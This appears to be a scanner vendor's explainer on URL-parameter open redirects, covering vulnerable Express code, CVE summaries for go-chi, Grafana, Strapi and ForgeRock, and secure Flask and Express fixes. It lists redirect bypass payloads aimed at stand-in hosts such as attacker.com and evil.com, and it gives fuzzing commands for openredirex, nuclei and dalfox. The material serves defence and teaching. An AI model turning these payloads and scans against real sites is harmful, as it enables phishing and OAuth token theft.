Unsanitized URL parameter controls the destination of a server-side or client-side redirect, enabling phishing and OAuth token theft.
TL;DR
?next=, ?redirect=, ?goto= directly to res.redirect() without host validation//evil.com, \evil.com, %09https://evil.com, https://trusted.com@evil.comSet — never endsWith or includesURL parameter redirect is the most prevalent form of open redirect (CWE-601). The application extracts a URL from a request parameter and passes it directly to the server's redirect function — res.redirect(req.query.next) in Express, return redirect(request.args["next"]) in Flask, HttpResponseRedirect(request.GET["next"]) in Django — without validating whether the destination host is on an allowlist.
The vulnerability is categorized under OWASP A01:2021 (Broken Access Control) because the application fails to enforce access control on which domains are valid redirect destinations. The root cause is treating URL parameters as trusted input for navigation decisions. According to HackerOne Hacktivity data, next and redirect parameter open redirects represent the single largest subcategory of CWE-601 reports.
Common parameter names in order of observed frequency: next, redirect, redirect_uri, redirect_url, url, goto, target, dest, destination, return, returnTo, forward, link, continue, callback, success, failure, r, u, redir, ref, return_url, back.
The server-side flow in Express.js:
// VULNERABLE — passes user input directly to redirect
app.get("/login", (req, res) => {
// Authentication logic...
const next = req.query.next || "/dashboard";
res.redirect(next); // No host validation — open redirect
});GET /login?next=https://attacker.com/capture HTTP/1.1
Host: trusted-app.com
HTTP/1.1 302 Found
Location: https://attacker.com/capture
Set-Cookie: session=...The browser follows the Location header. The user sees trusted-app.com in the address bar during the initial GET — the domain is legitimate, email filters and link-preview services show it as safe. Only after the redirect does the attacker's domain appear.
https://trusted-app.com/login?next=https://attacker.com
https://trusted-app.com/logout?redirect=https://attacker.com
https://trusted-app.com/auth/callback?return=https://attacker.comThese payloads exploit the gap between server-side URL validation (Python urllib.parse or Node.js url.parse) and browser parsing (WHATWG):
# Protocol-relative (browser resolves as https://attacker.com)
?next=//attacker.com
?next=///attacker.com
# Backslash normalization (WHATWG normalizes \\ to /)
?next=\attacker.com
?next=\\attacker.com
?next=https:\attacker.com
# Control character prefix (browser strips tab/LF, server-side parser sees empty scheme)
?next=%09https://attacker.com
?next=%0Ahttps://attacker.com
# Userinfo abuse (trusted.com is the username, attacker.com is the host)
?next=https://trusted-app.com@attacker.com
?next=https://trusted-app.com%40attacker.com
# Suffix abuse (passes endsWith check, but host is attacker.com)
?next=https://trusted-app.com.attacker.com
# Double encoding
?next=%2540attacker.com
?next=https%3A%2F%2Fattacker.com
# Null byte (some validators stop at null byte)
?next=https://attacker.com%00.trusted-app.com
# Fragment (trusted-app.com appears after #, host is attacker.com)
?next=https://attacker.com%23trusted-app.comThe most dangerous bypass is https://trusted-app.com@attacker.com. Standard code reviews often miss it because trusted-app.com is literally present in the URL. Python's urllib.parse.urlparse("https://trusted-app.com@attacker.com").hostname correctly returns attacker.com — but validators using url.includes("trusted-app.com") or url.startsWith("https://trusted-app.com") (after decoding %40) will pass this as safe.
CVE-2025-69725 — go-chi RedirectSlashes (CVSS 6.1)
The RedirectSlashes middleware in go-chi normalized double-slash paths. GET //evil.com HTTP/1.1 was interpreted as a path needing slash normalization, producing 302 Location: //evil.com. Browsers resolve //evil.com as https://evil.com (protocol-relative URL inheriting the current scheme). Any Go application using chi router with RedirectSlashes() middleware was vulnerable. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
// Vulnerable go-chi setup
r := chi.NewRouter()
r.Use(middleware.RedirectSlashes) // CVE-2025-69725 — normalizes //evil.com
// Mitigation: validate path before redirect
func safeRedirectSlashes(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
path := r.URL.Path
if strings.HasPrefix(path, "//") {
http.Error(w, "Bad Request", 400)
return
}
next.ServeHTTP(w, r)
})
}CVE-2025-4123 + CVE-2025-6023 — Grafana (CVSS 7.6 each)
Grafana's /public/dashboards/ endpoint treated query string content as a URL component. GET /public/dashboards/?attacker.com produced a redirect to attacker.com. The initial patch (CVE-2025-4123) used string validation that was bypassed (CVE-2025-6023) because validation operated on raw input rather than the WHATWG-normalized form. The bypass demonstrated that string-based URL validation is insufficient — canonical normalization must precede validation.
CVE-2024-39322 — Strapi (CVSS 6.1)
Strapi CMS passed user-controlled URL parameters directly to response.redirect(). Authenticated admin users could be redirected to phishing pages via crafted admin panel URLs, enabling credential theft. Fixed by adding host allowlist validation in the redirect handler.
CVE-2021-29156 — ForgeRock OpenAM goto Parameter (CVSS 9.8)
The goto parameter in ForgeRock's authentication and OAuth flows accepted arbitrary external URLs. During OAuth authorization, the authorization code was appended to the goto URL before the redirect — goto=https://attacker.com?code=AUTH_CODE. The authorization code arrived at the attacker's server, enabling full account takeover. CVSS 9.8 because the chain bypassed authentication entirely.
gf redirect (tomnomnom/gf patterns) against Wayback Machine data for the target domain.Location header for user-supplied content.Location contain your canary? Does the browser navigate there?//attacker.com — protocol-relative\attacker.com — backslash normalization%09https://attacker.com — tab prefixhttps://trusted-app.com@attacker.com — userinfo abuse/go/, /redirect/, /r/, /out/, /external/ with the target URL as a path segment.# OpenRedireX — async fuzzer with 50+ bypass payloads
cat urls.txt | openredirex -p /opt/open-redirect-payloads.txt
# nuclei — CVE templates + parameter fuzzing
nuclei -l targets.txt -t fuzzing/redirect-params.yaml
nuclei -l targets.txt -t cves/2025/CVE-2025-69725.yaml
# dalfox v3+ open-redirect mode
dalfox url "https://target.com/login?next=1" --open-redirect
# gf + waybackurls for parameter discovery
waybackurls target.com | gf redirect | sort -uBreachVex detects URL parameter open redirects by injecting unique out-of-band canary URLs into all discovered redirect parameters during reconnaissance. A confirmed finding requires a 30x Location containing the canary, plus eTLD+1 normalization to eliminate same-origin false positives.
# Flask — GOOD
from urllib.parse import urlparse
from flask import request, redirect, url_for
ALLOWED_HOSTS = frozenset({"app.example.com", "dashboard.example.com"})
def _safe_redirect(url: str, fallback: str = "/dashboard") -> str:
if not url:
return fallback
# Reject control characters
if any(c in url for c in ["\r", "\n", "\t", "\x00"]):
return fallback
# Reject backslash (WHATWG normalizes to /, Python doesn't)
if "\\" in url:
return fallback
parsed = urlparse(url)
# Allow relative URLs starting with /
if not parsed.netloc and url.startswith("/") and not url.startswith("//"):
return url
# External URLs must be on allowlist
if parsed.netloc not in ALLOWED_HOSTS:
return fallback
return url
@app.route("/login")
def login():
next_url = request.args.get("next", "/dashboard")
return redirect(_safe_redirect(next_url))// Express.js — GOOD
const ALLOWED_HOSTS = new Set(["app.example.com", "dashboard.example.com"]);
function isSafeRedirect(url) {
// Relative URLs — allow if starting with single slash
if (!url) return false;
if (url.startsWith("/") && !url.startsWith("//")) return true;
try {
// WHATWG URL constructor normalizes the same way browsers do
const parsed = new URL(url);
return ALLOWED_HOSTS.has(parsed.hostname);
} catch {
return false;
}
}
app.get("/login", (req, res) => {
const next = req.query.next;
const destination = isSafeRedirect(next) ? next : "/dashboard";
res.redirect(destination);
});# Store destination before redirect — no URL in parameter
import secrets
import redis
redis_client = redis.Redis()
@app.route("/pre-login")
def pre_login():
state = secrets.token_urlsafe(32)
# Store the intended destination server-side
redis_client.set(f"redirect:{state}", "/user/dashboard", ex=300)
return redirect(f"/login?state={state}")
@app.route("/post-login")
def post_login():
state = request.args.get("state", "")
# Retrieve destination from server-side storage — never from user input
raw = redis_client.get(f"redirect:{state}")
destination = raw.decode() if raw else "/dashboard"
redis_client.delete(f"redirect:{state}")
return redirect(destination)This pattern eliminates the attack surface entirely. There is no URL parameter containing a redirect destination — only an opaque token that maps to a server-side stored path.
A URL parameter redirect occurs when a server-side request parameter — next, return, redirect, goto, url, dest, callback — is passed directly to a redirect function without validating the destination host. The server emits a 30x HTTP response with Location containing the attacker-controlled URL, and the browser follows it.
In order of frequency: next, redirect, redirect_uri, redirect_url, url, goto, target, dest, destination, return, returnTo, forward, link, continue, callback, success, failure, r, u, redir, ref, return_url, back, backurl. The parameters next and redirect account for the majority of reported open redirect vulnerabilities.
Bypass payloads exploit URL parser differential between the server-side validator and the browser. Python urlparse treats \evil.com as a relative path (no netloc); WHATWG normalizes the backslash to a forward slash and resolves it as https://evil.com. Tab prefix (%09https://evil.com) causes Python's parser to see an empty scheme, while the browser strips the tab and resolves the absolute URL. The server validates 'safe'; the browser navigates 'external'.
go-chi's RedirectSlashes middleware handled double-slash paths by normalizing them and issuing a 302. A request to GET //evil.com was processed as a path requiring slash normalization, resulting in 302 Location: //evil.com. Browsers resolve protocol-relative URLs — //evil.com becomes https://evil.com. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N (6.1). All chi router applications with RedirectSlashes enabled were affected.
Both 301 (Moved Permanently) and 302 (Found/Temporary) enable open redirect exploitation. 301 redirects are cached by browsers, meaning a once-exploited redirect may persist after the vulnerability is patched — browsers serve the cached destination without re-requesting the original URL. 302 redirects are not cached by default. From a security perspective, 301 open redirects are worse because they cannot be immediately remediated without also clearing browser caches.
Strapi CMS passed user-controlled URL parameters directly to response.redirect() without hostname validation. An attacker could craft a Strapi admin URL that redirected authenticated administrators to a phishing page — capturing admin credentials or session tokens. CVSS 6.1. Fixed by adding host allowlist validation before redirect.
The URL userinfo component appears before the @ symbol: https://user:pass@host.com. An attacker crafts https://trusted.com@evil.com — the RFC 3986 host is evil.com, and trusted.com is the username. A validator checking if trusted.com appears in the URL marks it as safe. WHATWG and most browsers correctly parse the host as evil.com. Mitigation: only inspect the parsed hostname, never search for allowed strings within the raw URL.
Path-based redirects follow patterns like /go/https://evil.com, /redirect/https://evil.com, /out?url=, /r/<id>. Test by replacing the path segment or query value with a canary URL. Also check for double encoding: /go/%68%74%74%70%73%3A%2F%2Fevil.com. Use nuclei with fuzzing/redirect-params.yaml and extend with path-based patterns for thorough coverage.
Grafana's /public/dashboards/ endpoint used query string input as a URL component without canonical normalization. GET /public/dashboards/?attacker.com issued a redirect incorporating the query string as the destination. The initial patch used string-based validation. CVE-2025-6023 then bypassed the patch because the fix checked the raw string but not the canonicalized form. The lesson: validate the URL after full WHATWG normalization, not the raw input string.
Use an opaque state token. Before initiating login, store the intended destination server-side keyed by a random token (Redis, session). After authentication, read the destination from server-side storage using the token. Never pass the destination URL in a parameter. This eliminates the attack surface entirely — there is no URL parameter to manipulate.
BreachVex injects a unique out-of-band canary URL into all discovered redirect parameters during reconnaissance. A confirmed finding requires a 30x response where Location contains the canary domain, plus eTLD+1 verification to eliminate same-origin false positives. The scan also checks Location values against the target's CDN and OAuth partner allowlist.